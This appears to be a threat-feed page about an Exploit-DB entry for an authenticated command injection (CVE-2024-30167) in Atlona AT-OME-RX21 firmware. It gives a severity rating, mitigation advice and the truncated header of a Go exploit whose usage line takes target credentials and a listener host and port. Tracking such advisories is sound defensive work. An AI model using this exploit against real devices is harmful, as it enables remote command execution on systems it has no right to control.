ExploitPublished
Atlona ATOMERX21 · Authenticated Command Injection
Source Exploit-DB RSS Feed
0
Severity
MediumRated by Threat Radar
Data as of 5 May 2026, 07:48 UTC
What to do
AI-suggested
Until an official fix is available, restrict access to authenticated interfaces and monitor for unauthorized access attempts. Do not rely on generic mitigations without vendor confirmation.
Description
Atlona ATOMERX21 - Authenticated Command Injection
Indicators of compromise
Exploit source code
// Exploit Title: Atlona AT-OME-RX21 Authenticated Command Injection
// Google Dork: N/A
// Date: 2025-12-28
// Exploit Author: RIZZZIOM
// Vendor Homepage: https://atlona.com
// Software Link: https://atlona.com/product/at-ome-rx21/
// Version: Firmware <= 1.5.1
// Tested on: AT-OME-RX21 Embedded Firmware (1.5.0, 1.5.1)
// CVE : CVE-2024-30167
// Usage: go run main.go -t <target_uri> -u <username> -p <password> -l <lhost> -P <lport> -c <command>
package main
import (
"bytes"
"context"
"enco…References
Community reviews
Loading reviews…